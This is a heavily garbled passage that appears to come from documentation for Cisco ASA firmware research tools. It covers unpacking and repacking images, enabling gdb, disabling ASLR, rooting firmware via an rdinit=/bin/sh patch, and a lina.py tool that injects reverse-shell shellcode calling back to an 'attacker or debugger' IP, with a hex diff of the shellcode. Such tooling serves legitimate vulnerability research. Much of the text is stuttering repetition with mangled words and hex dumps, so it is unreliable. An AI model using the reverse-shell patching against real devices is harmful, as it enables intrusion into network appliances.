com/cisco/webvpn/csvrjavaloader64.dll 68700208 0x4184830 Zip archive data, at least v2.0 to extract, name: com/cisco/webvpn/csvrjavaloader64.dll 68700208 0x4184830 Zip archive data, at least v2.0 to extract, name: com/cisco/webvpn/csvrjavaloader64.dll 68700208 0x4184830 Zip archive data, at least v2.0 to extract, name: com/cisco/webvpn/csvrjavaloader64.dll 68700208 0x4184830 Zip archive data, at least v2.0 to extract, name: com/cisco/webvpn/csvrjavaloader64.dll 68700208 0x4184830 Zip archive data, at least v2.0 to extract, name: com/cisco/webvpn/csvrjavaloader64.dll 68700208 0x4184830 Zip archive data, at least v2.0 to extract, name: com/cisco/webvpn/csvrjavaloader64.dll 68700208 0x4184830 Zip archive data, at least v2.0 to extract, name: com/cisco/webvpn/csvrjavaloader64.dll 68700208 0x4184830 Zip archive data, at least v2.0 to extract, name: com/cisco/webvpn/csvrjavaloader64.dll 68700208 0x4184830 Zip archive data, at least v2.0 to extract, libAliasHandlerWrapper-mac.jnilib [unpack repack bin] Extracted firmware to /home/user/fw qcow2/bin/ asav941-200.qcow2.extracted [unpack repack bin] Extracting /home/user/fw qcow2/bin/ asav941-200.qcow2.extracted [unpack repack bin] Extracted firmware uses regular rootfs/ dir [unpack repack bin] Extracted firmware uses regular rootfs/ dir [unpack repack bin] Extracting /home/user/fw qcow2/bin/ asav941-200.qcow2.extracted [unpack repack bin] Extracted [unpack repack bin] Extracted firmware uses regular rootfs/ dir [unpack repack bin] Extracted [unpack repack bin] Extract 200.qcow2.extracted/rootfs 334503 blocks [unpack_repack_bin] Deleting "/home/user/fw_qcow2/bin/_asav941-200.qcow2.extracted/246BF" [unpack_repack_bin] Deleting "/home/user/fw_qcow2.extracted/246BF" [unpack_repack_bin] Deleting "/home/user/fw_qcow 200.qcow2.extracted/40E7849.zip" We can access the extracted rootfs or use it with asadbg. ~/fw qcow2# ls asav941-200.qcow2.extracted/rootfs/ asa bin boot dev etc home init lib lib64 media mnt proc root run sbin sys tmp usr var You can enable gdb at boot dev etc home init lib lib64 media mnt proc root run sbin sys tmp usr var You can enable gdb at boot dev etc home init lib lib64 media mnt proc root run sbin sys tmp usr var You can enable gdb at boot dev etc home init lib lib64 media mnt proc root run sbin sys tmp usr var You can enable gdb at boot dev etc home init lib lib64 media mnt proc root run sbin sys tmp usr var You can enable gdb at boot dev etc home init lib lib64 media mnt proc root run sbin sys tmp usr var You can enable gdb at boot dev etc home init lib lib64 media mnt proc root run sbin sys tmp usr var You can enable gdb at boot dev etc home init lib lib64 media mnt proc root run sbin sys tmp usr var You can enable gdb at boot dev etc home init lib lib64 media mnt proc root run sbin sys tmp usr var You can enable gdb at boot dev etc home init lib lib64 media mnt proc root run sbin sys tmp usr var You can enable gdb at boot dev etc home init lib lib64 media mnt proc root run sbin sys tmp usr var You can enable gdb at boot dev etc home init lib lib64 media mnt proc root run sbin sys tmp usr var You can enable gdb at boot dev etc home init lib lib64 media mnt proc root run sbin sys tmp usr var You can enable gdb at boot dev etc home init lib lib64 media mnt proc root run sbin sys tmp usr var You can enable gdb at boot dev etc home init lib lib64 media mnt proc root run sbin sys tmp usr var You can enable gdb at boot dev etc home init lib lib64 media mnt proc root run sbin sys tmp usr var You can enable gdb at boot dev etc home init lib lib64 media mnt proc root run sbin sys tmp usr var You can enable gdb at boot dev etc home init lib lib64 media mnt proc root run sbin sys tmp usr var You can enable gdb at boot dev etc home init lib lib64 media mnt proc root run sbin sys tmp usr var You can enable gdb with -g and disable ASLR with -A. This allows debugging the firmware with gdb after loading it with GNS3: ~/fw qcow2 file: asav962-7.qcow2 [unpack repack qcow2] Using input qcow2 file: asav962-7.qcow2 [unpack repack qcow2] Using output gcow2 file: /home/user/fw gcow2] Copied asa962-7.repacked.gcow2] Command line: -f -g -A [unpack repack gcow2] Copied asa962-7.repacked.gcow2] Copied asa962-7.repacked.gcow2] Copied asa962-7.repacked.gcow2] Command line: -f -g -A [unpack repack gcow2] Copied asa962-7.repacked.gcow2] Command line: -f -g -A [unpack repack gcow2] Copied asa962-7.repacked.gcow2] Copied asa962-7.repack [unpack_repack_qcow2] Unmounted /home/user/mnt/qcow2 [unpack_repack_bin] Single firmware detected [unpack_repack_bin] Unpacking... [bin] Writing /home/user/fw_qcow2/bin/asav962-7.initrd-original.gz (86019506 bytes)... [bin] Unpacking... [bin] Unpacking... [bin] Writing /home/user/fw_qcow2/bin/asav962-7.initrd-original.gz (86019506 bytes)... [bin] Unpacking... [bin] Writing /home/user/fw_qcow2/bin/asav962-7.initrd-original.gz (86019506 bytes)... [bin] Unpacking... [bin] Writing /home/user/fw_qcow2/bin/asav962-7.initrd-original.gz (86019506 bytes)... [bin] Writing /home/user/fw_qcow2/bin firmware... [bin] unpack: Writing /home/user/fw_qcow2/bin/asav962-7-vmlinuz (3624768 bytes)... 455629 blocks [unpack_repack_bin] modify_one: asav962-7.qcow2 [unpack_repack_bin] repack_bin] repack_bin] repack_bin] repack_repack_bin] repack_re [bin] Repacking... [bin] repack: Writing /home/user/fw_qcow2/bin/asav962-7-repacked-gdbserver.qcow2 [unpack_repack_bin] MD5: b898d5db383a95fa412527f8b1cd52e4 /home/user/fw_qcow2/bin/asav962-7-repacked-gdbserver.qcow2 [unpack_repack_gcow2] Mounted /dev/nbd01 to /home/user/fw_qcow2 [unpack_repack_qcow2] Unmounted /home/user/fw_qcow2/asav962-7-repacked.qcow2 has both gdb enabled at boot and ASLR disabled. Similarly to the asa*.bin files, but with a differen command line and as root: # for QCOW2FILE in \$(find /home/user/fw/*); do echo --- Handling \$QCOW2FILE; unpack_repack_qcow2] Using input qcow2 file: /home/user/fw/asav962-2.qcow2 [unpack_repack_qcow2] Using template qcow2 file: /home/user/fw/asav962-2.qcow2 [unpack_repack_qcow2] Using template qcow2 file: /home/user/fw/asav962-2.qcow2 [unpack_repack_qcow2] Using input qcow2 file: /home/user/fw/asav962-2.qcow2 [unpack_repack_qcow2] Using template qcow2 file: /home /home/user/fw/asav962-2.qcow2 [unpack repack qcow2] Using output qcow2 file: /home/user/fw/asav962-2.repack qcow2] Mounting /home/user/fw/asav962-2.qcow2 [unpack repack qcow2] Mounting /home/user/fw/asav962-2.qcow2 [unpack repack qcow2] Mounted
/dev/nbd0p1 to /home/user/mnt/qcow2 [unpack_repack_qcow2] Copied asa962-2.smp-k8.bin to /home/user/fw/bin/asav962-2.qcow2 [unpack_repack_qcow2] Disconnecting /dev/nbd0 [unpack_repack_qcow2] Unmounted /home/user/mnt/qcow2 [unpack_repack_qcow2] Disconnecting /dev/nbd0 [unpack_repack_qcow2] Disconnecting /dev/nbd0 [unpack_repack_qcow2] Unmounted /home/user/mnt/qcow2 [unpack_repack_qcow2] Disconnecting /dev/nbd0 [unpack_repack_qcow2] Unmounted /home/user/mnt/qcow2 [unpack_repack_qcow2] Disconnecting /dev/nbd0 [unpack_repack_qcow2] Unmounted /home/user/mnt/qcow2 [unpack_repack_qcow2] Disconnecting /dev/nbd0 [unpack_repack_qcow2] Disconnecting /dev/nbd0 [unpack_repack_qcow2] Unmounted /home/user/mnt/qcow2 [unpack_repack_qcow2] Disconnecting /dev/nbd0 [unpack_repack_qcow2] Disconnecting /dev/nbd0 [unpack_repack_qcow2] Unmounted /home/user/mnt/qcow2 [unpack_repack_qcow2] Disconnecting /dev/nbd0 [unpack_repack_qcow2] Disconnecting /dev/n [unpack_repack_bin] Extracted firmware to /home/user/fw/bin/_asav962-2.qcow2.extracted/rootfs.img into /home/user/fw/bin/_asav962-2.qcow2.extracted/rootfs.img into /home/user/fw/bin/_asav962-2.qcow2.extracted/rootfs/ dir [unpack_repack_bin] Extracting /home/user/fw/bin/_asav962-2.qcow2 [unpack repack gcow2] Using input gcow2 file: /home/user/fw/asav962-7.gcow2 [unpack repack gcow2] Using template gcow2 file: /home/user/fw/asav962-7.gcow2 [unpack repack gcow2] Using template gcow2 file: /home/user/fw/asav962-7.repacked.gcow2 file: /home/user/fw/asav962-7.gcow2 [unpack repack gcow2] Using template gcow2 file: /home/user/fw/asav962-7.gcow2 [unpack repack gcow2] Using template gcow2 file: /home/user/fw/asav962-7.gcow2 [unpack repack gcow2] Using template gcow2 file: /home/user/fw/asav962-7.repacked.gcow2 [unpack repack gcow2] Using template gcow2 file: /home/user/fw/asav962-7.gcow2 [unpack repack gcow2] Using template gcow2 file: /home/user/fw/asav962-7.gcow2 [unpack repack gcow2] Using template gcow2 file: /home/user/fw/asav962-7.gcow2 [unpack gcow2] Using template gcow2 file /home/user/fw/asav962-7.qcow2 [unpack repack qcow2] Mounted /home/user/fw/asav962-7.gcow2 to /dev/nbd0 [unpack repack qcow2] Copied asa962-7.gcow2 to /dev/nbd0 [unpack repack qcow2] Mounted /home/user/fw/asav962-7.gcow2 [unpack repack qcow2] Mounted [unpack repack qcow2] Disconnecting /dev/nbd0 [unpack repack bin] Single firmware detected [unpack repack bin] extract bin: asav962-7.qcow2 [unpack repack bin] Extracted firmware to /home/user/fw/bin/ asav962-7.qcow2 [unpack repack bin] extract bin: asav962-7.qcow2 [unpack repack bin] Extracted firmware to /home/user/fw/bin/ asav962-7.qcow2 [unpack r /home/user/fw/bin/ asav962-7.qcow2 [unpack repack qcow2] Using input qcow2 file: /home/user/fw/asav962.qcow2 [unpack repack qcow2] Using template qcow2 file: /home/user/fw/asav962.qcow2 [unpack repack qcow2] Using template qcow2 file: /home/user/fw/asav962.qcow2 file: /home/user/f [unpack_repack_qcow2] Using output qcow2 file: /home/user/fw/asav962.repack_qcow2] Mounting /home/user/fw/asav962.qcow2 to /dev/nbd0 [unpack_repack_qcow2] Mounted /dev/nbd0p1 to /home/user/mnt/qcow2 [unpack_repack_gcow2] Copied asa962-smp-k8.bin to /home/user/fw/bin/asav962.qcow2 [unpack_repack_dcow2] Disconnecting /dev/nbd0 [unpack_repack_bin] Single firmware detected [unpack_repack_bin] extract_bin: asav962.qcow2 [unpack_repack_bin] Extracted firmware to /home/user/fw/bin/ asav962.qcow2.extracted/rootfs # cd /home/user/fw 2.gcow2.extracted/rootfs/asa/bin/lina asav962-7.gcow2.extracted/rootfs/asa/bin/lina monitor asav962-7.gcow2.extracted/rootfs/asa/bin/lina asav962-2.qcow2 | - lina | - lina_monitor - asav962-7.qcow2 | - lina_monitor - asav962-7.qcow2 | - lina_monitor - asav962.qcow2 | - GZIP FILE [-u] [-r] [-t] [-r] [-t] [-r] [-o OUTPUTFILE] optional arguments: -h, --help show this help message and exit -f FIRMWARE FILE, --grack -t, --root -T, --unroot -o OUTPUTFILE] optional arguments: -h, --help show this help message and exit -f FIRMWARE FILE, --grack -t, --root -T, --unroot -o OUTPUTFILE] optional arguments: -h, --help show this help message and exit -f FIRMWARE FILE, --grack -t, --root -T, --unroot -o OUTPUTFILE] optional arguments: -h, --help show this help message and exit -f FIRMWARE FILE, --grack -t, --root -T, --unroot -o OUTPUTFILE] optional arguments: -h, --help show this help message and exit -f FIRMWARE FILE, --grack -t, --root -T, --unroot -o OUTPUTFILE] optional arguments: -h, --help show this help message and exit -f FIRMWARE FILE, --grack -t, --root -T, --unroot -o OUTPUTFILE] optional arguments: -h, --help show this help message and exit -f FIRMWARE FILE, --grack -t, --root -T, --unroot -o OUTPUTFILE] optional arguments: -h, --help show this help message and exit -f FIRMWARE FILE, --grack -t, --root -T, --unroot -o OUTPUTFILE] optional arguments: -h, --help show this help message and exit -f FIRMWARE FILE, --grack -t, --root -T, --unroot -o OUTPUTFILE] optional arguments: -h, --help show this help message and exit -f FIRMWARE FILE, --grack -t, --root -T, --unroot -o OUTPUTFILE] optional arguments: -h, --help show this help message and exit -f FIRMWARE FILE, --grack -t, --root -T, --unroot -o OUTPUTFILE] optional arguments: -h, --help show this help message and exit -f FIRMWARE FILE, --grack -t, --root -T, --unroot -o OUTPUTFILE] optional arguments: -h, --help show this help message and exit -f FIRMWARE FILE, --grack -t, --root -T, --unroot -o OUTPUTFILE] optional arguments: -h, --help show this help message and exit -f FIRMWARE FILE -grack -t, --root -T, --unroot -o OUTPUTFILE] optional arguments: -help show the firm optional arguments -f FIRMWARE FILE -grack -t, --root -T, --unroot -f FIRWWARE FILE -grack -t, --root -t, --root -t, --root -t, --root -t, --root -t, --root -t, from an asa*.bin firmware: \$ bin.py -f asa924-k8-initrd-original.gz: gzip compressed data, was "rootfs.img", from Unix, last modified: Wed Jul 15 06:19:52 2015 asa924-k8-initrd-original.gz: gzip compressed data, was "rootfs.img", from Unix, last modified: Wed Jul 15 06:19:52 2015 asa924-k8-initrd-original.gz: gzip compressed data, was "rootfs.img", from Unix, last modified: Wed Jul 15 06:19:52 2015 asa924-k8-initrd-original.gz: gzip compressed data, was "rootfs.img", from Unix, last modified: Wed Jul 15 06:19:52 2015 asa924-k8-initrd-original.gz: gzip compressed data, was "rootfs.img", from Unix, last modified: Wed Jul 15 06:19:52 2015 asa924-k8-initrd-original.gz: gzip compressed data, was "rootfs.img", from Unix, last modified: Wed Jul 15 06:19:52 2015 asa924-k8-initrd-original.gz: gzip compressed data, was "rootfs.img", from Unix, last modified: Wed Jul 15 06:19:52 2015 asa924-k8-initrd-original.gz: gzip compressed data, was "rootfs.img", from Unix, last modified: Wed Jul 15 06:19:52 2015 asa924-k8-initrd-original.gz: gzip compressed data, was "rootfs.img", from Unix, last modified: Wed Jul 15 06:19:52 2015 asa924-k8-initrd-original.gz: gzip compressed data, was "rootfs.img", from Unix, last modified: Wed Jul 15 06:19:52 2015 asa924-k8-initrd-original.gz: gzip compressed data, was "rootfs.img", from Unix, last modified: Wed Jul 15 06:19:52 2015 asa924-k8-initrd-original.gz: gzip compressed data, was "rootfs.img", from Unix, last modified: Wed Jul 15 06:19:52 2015 asa924-k8-initrd-original.gz: gzip compressed data, was "rootfs.img", from Unix, last modified: Wed Jul 15 06:19:52 2015 asa924-k8-initrd-original.gz: gzip compressed data, was "rootfs.img", from Unix, last modified: Wed Jul 15 06:19:52 2015 asa924-k8-initrd-original.gz; gzip compressed data, was "rootfs.img", from Unix, last modified: Wed Jul 15 06:19:52 2015 asa924-k8-initrd-original.gz; gzip compressed data, was "rootfs.img", from Unix, last modified: Wed Jul 15 06:19:52 2015 asa924-k8-initrd-original.gz; gzip compressed data, was "rootfs.img", f vmlinuz: x86 boot sector You can also use it to root a single binary: s bin.py - t asa924-k8.bin - t [bin] root: Writing asa924-k8.bin > b1.hex \$ xxd asa924-k8.rooted.bin > b2.hex \$ diff b1.hex b2.hex 1907206,1907206,1907206 < 1d1a030: 0048 2000 + 2d1a030: 0070e0 1400 51b7 ba01 7175 6965 .H .p...Q...rdin > 1d1a040: 7420 6c6f 676c 6576 656c 3d30 2061 7574 t loglevel=0 aut < 1d1a050: 6f20 6b73 7461 636b 3d31 3238 2072 6562 o kstack=128 reb --- > 1d1a030: 0048 2000 70e0 1400 51b7 ba01 7264 696e .H .p...Q...rdin > 1d1a040: 6974 3d2f 6269 6e2f 7368 2020 2020 it=/bin/sh > 1d1a050: 6f20 6b73 7461 636b 3d31 3238 2072 6562 o kstack=128 reb --- > 1d1a030: 0048 2000 70e0 1400 51b7 ba01 7264 696e .H .p...Q...rdin > 1d1a040: 6974 3d2f 6269 6e2f 7368 2020 2020 it=/bin/sh > 1d1a050: 6f20 6b73 7461 636b 3d31 3238 2072 6562 o kstack=128 reb --- > 1d1a030: 0048 2000 70e0 1400 51b7 ba01 7264 696e .H .p...Q...rdin > 1d1a040: 6974 3d2f 6269 6e2f 7368 2020 2020 it=/bin/sh > 1d1a050: 6f20 6b73 7461 636b 3d31 3238 2072 6562 o kstack=128 reb --- > 1d1a030: 0048 2000 70e0 1400 51b7 ba01 7264 696e .H .p...Q...rdin > 1d1a040: 6974 3d2f 6269 6e2f 7368 2020 2020 it=/bin/sh > 1d1a050: 6f20 6b73 7461 636b 3d31 3238 2072 6562 o kstack=128 reb --- > 1d1a030: 0048 2000 70e0 1400 51b7 ba01 7264 696e .H .p...Q...rdin > 1d1a040: 6974 3d2f 6269 6e2f 7368 2020 2020 it=/bin/sh > 1d1a050: 6f20 6b73 7461 636b 3d31 3238 2072 6562 o kstack=128 reb --- > 1d1a030: 0048 2000 70e0 1400 51b7 ba01 7264 696e .H .p...Q...rdin > 1d1a040: 6974 3d2f 6269 6e2f 7368 2020 2020 2020 it=/bin/sh > 1d1a050: 6f20 6b73 7461 636b 3d31 3238 2072 6562 o kstack=128 reb --- > 1d1a050: 6f20 6b73 7461 636b 3d31 3238 2072 6562 o kstack=128 reb --- > 1d1a050: 6f20 6b73 7461 636b 3d31 3238 2072 6562 o kstack=128 reb --- > 1d1a050: 6f20 6b73 7461 636b 3d31 3238 2072 6562 o kstack=128 reb --- > 1d1a050: 6f20 6b73 7461 636b 3d31 3238 2072 6562 o kstack=128 reb --- > 1d1a050: 6f20 6b73 7461 636b 3d31 3238 2072 6562 o kstack=128 reb --- > 1d1a050: 6f20 6b73 7461 636b 3d31 3238 2072 6562 o kstack=128 reb --- > 1d1a050: 6f20 6b73 7461 636b 3d31 3238 2072 6562 6b73 7461 6562 6b73 746 2020 6b73 7461 636b 3d31 3238 2072 6562
kstack=128 reb The cpio.sh is used to manipulate CPIO images (rootfs). It is mainly used by unpack repack gcow2.sh. It's a pretty slim wrapper around cpio to just combine a few commands together for convenience: \$ cpio.sh -h Unknown option -c Create cpio image -d Directory to turn into cpio image -e Extract cpio image -o Output file Examples: Create ./cpio.sh -c -d rootfs.img If you want to play with it as standalone, you can do the following. After extracting a gzipped rootfs with bin.py, we decompress it: \$ gunzip asa924-k8-initrd-original.gz \$ file asa924-k8-initrd-original.gz \$ file asa924-k8-initrd-original asa924-k8-initrd-original.gz \$ file asa924-k k8-initrd-original: ASCII cpio archive (SVR4 with no CRC) Now we extract the rootfs into the rootfs into the rootfs 924 folder: \$ cpio.sh -e -i asa924-k8-initrd-original -d rootfs 924 \$ ls rootfs 924/asa bin boot config dev etc home init lib lib64 linuxrc mnt opt proc root sbin share sys tmp usr var lina.py is used to patch the main Cisco ASA executable a.k.a. lina. It is mainly used by unpack_repack_bin.sh and unpack_repack_qcow2.sh. \$ lina.py -h usage: lina.py [-h] [-c CBHOST] [-p CBPORT] [-i TARGET_INDEX] [-f LINA_FILE] [-b BIN_NAME] [-o LINA_FILE] [-b BIN_NAME] [-o LINA_FILE] optional arguments: -h, --help show this help message and exit -c CBHOST Attacker or debugger IP addr for reverse shell -p CBPORT Attacker or debugger port for reverse shell --log-port CBLOGPORT Port for sending hook logs -i TARGET INDEX Index of the target (use -l to list them all) -f LINA FILE Input lina file -b BIN NAME Input bin name -o LINA FILE OUT Output lina file --hook Insert lina hooks -v Display more info -d TARGET FILE JSON db name We can use it as a standalone tool to patch lina to contain a debug shell. We use the asadbg.json from asadbg as it already contains addresses required. Otherwise you may need to use idahunt to find them first. \$ lina.py -c 192.168.1.1 -p 5555 -f asa924-k8.bin.extracted/rootfs/asa/bin/lina -b asa924-k8.bin -o lina patched -d /path/to/asadbg/asadb.json [lina] WARN: No index specified. Will guess based on lina path... [lina] Using index: 0 for asa924-k8.bin [lina] Input file: _asa924-k8.bin [lina] Notput file: _asa924-k8.bin [lina] Output file: _asa924-k8.bin [lina] Notput file: _asa atched one function with the reverse debug shell shellcode: xxd asa924-k8.bin.extracted/rootfs/asa/bin/lina > b1.hex xxd lina patched > b2.hex $15793,15820 < 003db00: 5589 e557 5653 81ec 8c05 0000 8b7d 208d U.WVS......}$. < 003db10: 45f0 c745 f001 0000 0066 c745 b0c1 1085 E.E....f.E.... < 003db20: 5589 e557 5653 81ec 8c05 0000 8b7d 208d U.WVS......}. ffc7 45b4 0400 0000 8945 b866 c745 bc00 ..E.....E.f.E. < 003db30: 00c7 45c0 0000 0000 c745 c400 0000 0074 ..E.....E.m.t < 003db40: 088b 4520 66c7 0200 0000 008b 7524 85f6 7409 ..E f.....e + c 003db50: 8b55 24c7 0200 0000 008b 7524 85f6 7409 ..E f.....e + c 003db50: 8b55 24c7 0200 0000 008b 7524 85f6 7409 ..E f.....e + c 003db50: 8b55 24c7 0200 0000 008b 7524 85f6 7409 ..E f.....e + c 003db50: 8b55 24c7 0200 0000 008b 7524 85f6 7409 ..E f.....e + c 003db50: 8b55 24c7 0200 0000 008b 7524 85f6 7409 ..E f.....e + c 003db50: 8b55 24c7 0200 0000 008b 7524 85f6 7409 ..E f....e + c 003db50: 8b55 24c7 0200 0000 008b 7524 85f6 7409 ..E f.....e + c 003db50: 8b55 24c7 0200 0000 008b 7524 85f6 7409 ..E f.....e + c 003db50: 8b55 24c7 0200 0000 0000 0000 0000 0000 0000 $0000 \text{ c}785 50 \text{ff} \text{ffff} \text{ffff} \dots \text{...} P \dots \text{...} < 003 \text{d}b80: 8b45 0889 1424 8985 68 \text{ff} \text{ffff} e8 \text{b}f 3525 .E \dots \text{s}.h \dots 5\% < 003 \text{d}b90: 01 \text{c}7 85 \text{a}4 \text{ faff} \text{ff}00 0000 0085 \text{c}089 85 \text{a}0 \dots 5\% \text{c}089 85 \text{a}0$ < 003dba0: faff ff0f 849f 0400 008b 4018 8db5 38fe@...8. < 003dbb0: ffff 89f7 8904 24e8 24a9 2501 b92f 0000\$.\$.%../.. < 003dbc0: 0089 85b0 faff ff89 d8f3 abc7 8538 ..8.. < 003dbd0: ff00 0000 008b 95a0 faff ff8b 7d08 8b42 . . > 003db20: 682f 7368 0068 2f74 6d70 8d1c 24b8 0500 h/sh.h/tmp..\$... > 003db30: 0000 cd80 50eb 3159 8b11 8d49 0489 c3b8P.1Y...I... > 003db40: 0400 0000 cd80 5bb8 0600 0000 cd80 8d1c[............ > 003db50: 2431 d252 538d 0c24 b80b 0000 00cd 8031 \$1.RS..\$.....1 > 003db60: dbb8 0100 0000 cd80 e8ca ffff ff46 0100 > 003dbc0: 0000 1000 0055 89e5 83ec 106a 006a 016aU.....j.j.j > 003dbd0: $028d \ 0c24 \ bb01 \ 0000 \ 00b8 \ 6600 \ 0000 \ cd80 \ ..., j, j > 003dc10: \ 018d \ 1c24 \ 31c9 \ b8a2 \ 0000 \ 00cd \ 8083 \ c408 \ ..., j, j > 003dc20: \ ebc4$ 8b45 fc83 ec20 8d0c 24ba 0300 0000 ...E.....\$..... > 003dc30: 8b5d fcc7 0105 0100 00b8 0400 0000 cd80 .]........... > 003dc40: ba04 0000 00b8 0300 0000 cd80 c701 0501 The info.sh script allows listing mitigations on the firmare in the current folder. \$ info.sh -h Display/save mitigations and additional info for all firmware, you can analyse them: fw\$ ls _asa802-k8.bin.extracted _asa825-51-k8.bin.extracted _asa844-5-k8.bin.extracted _asa911-4k8.bin.extracted_asa922-4-k8.bin.extracted_asa944-smp-k8.bin.extracted_asa803-k8.bin.extracted_asa825-52-k8.bin.extracted_asa951-smp-k8.bin.extracted_asa951-smp-k8.bin.extracted_asa922-4-smp-k8.bin.extracted_asa951-smp-k8.bin.extracted_asa804-16-k8.bin.extracted_asa825-57-k8.bin.extracted_asa844-smp-k8.bin.extracted_asa951-smp-k8.bin.extracted_asa951-smp-k8.bin.extracted_asa804-16-k8.bin.extracte k8.bin.extracted asa922-k8.bin.extracted asa952-smp-k8.bin.extracted asa952-smp-k8.bin.extracted asa805-23-k8.bin.extracted asa952-smp-k8.bin.extracted asa952-smp-k8.bin.extracted asa912-k8.bin.extracted asa912-smp-k8.bin.extracted asa912-smp-k8.bin.extracted asa953-smp-k8.bin.extracted asa953-smp-k8.bin.extracted asa912-smp-k8.bin.extracted asa953-smp-k8.bin.extracted asa953-smp asa923-smp-k8.bin.extracted asa961-10-smp-k8.bin.extracted asa961-smp-k8.bin.extracted asa961-smp-k8.bin.extracted asa913-k8.bin.extracted asa924-10-k8.bin.extracted asa913-k8.bin.extracted asa924-10-k8.bin.extracted asa913-k8.bin.extracted asa91 asa924-13-smp-k8.bin.extracted asa962-3-smp-k8.bin.extracted asa805-k8.bin.extracted asa805-k8.bin.extracted asa846-smp-k8.bin.extracted asa924-14-k8.bin.extracted asa846-smp-k8.bin.extracted asa847-15-k8.bin.extracted asa847-15-k8.bin.extracted asa847-15-k8.bin.extracted asa847-15-k8.bin.extracted asa846-smp-k8.bin.extracted k8.bin.extracted asa924-18-k8.bin.extracted asa971-smp-k8.bin.extracted asa924-5-k8.bin.extracted asa922-200.qcow2.extracted asa924-sht.bin.extracted asa924-5-k8.bin.extracted asa924-5-k8.bin.extracted asa924-5-k8.bin.extracted asa924-5-k8.bin.extracted asa924-5-k8.bin.extracted asa924-sht.bin.extracted asa924-sht.bin.extracted asa924-5-k8.bin.extracted asa924-5-k8.bin.extracted asa924-sht.bin.extracted asa924-sht.bin asa915-12-k8.bin.extracted asa924-5-smp-k8.bin.extracted asa812-50-smp-k8.bin.extracted asa81 $\overline{k8}$. bin.extracted asa915-19- $\overline{k8}$. bin.extracted asa924-8-smp-k8. bin.extracted asa924-8-smp-k8. bin.extracted asa832-44-smp-k8.
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2.18 ptmalloc 2.x 05-04-2018 asav992-14.qcow2 ID Version Arch ASLR NX PIE Can RELRO Sym Strip Linux Glibc Heap allocator Build date Firmware To our knowledge there isn't any summary of ASA branches being End-of-life (EOL) though an official list of EOL devices is here. Feel free to contact us if we are missing something. However, it is possible to use the Cisco ASA advisories here to deduce branch EOL status. Last update of this table is July 2017. Cisco ASA Branch Latest Update End-of-life? Notes 7.2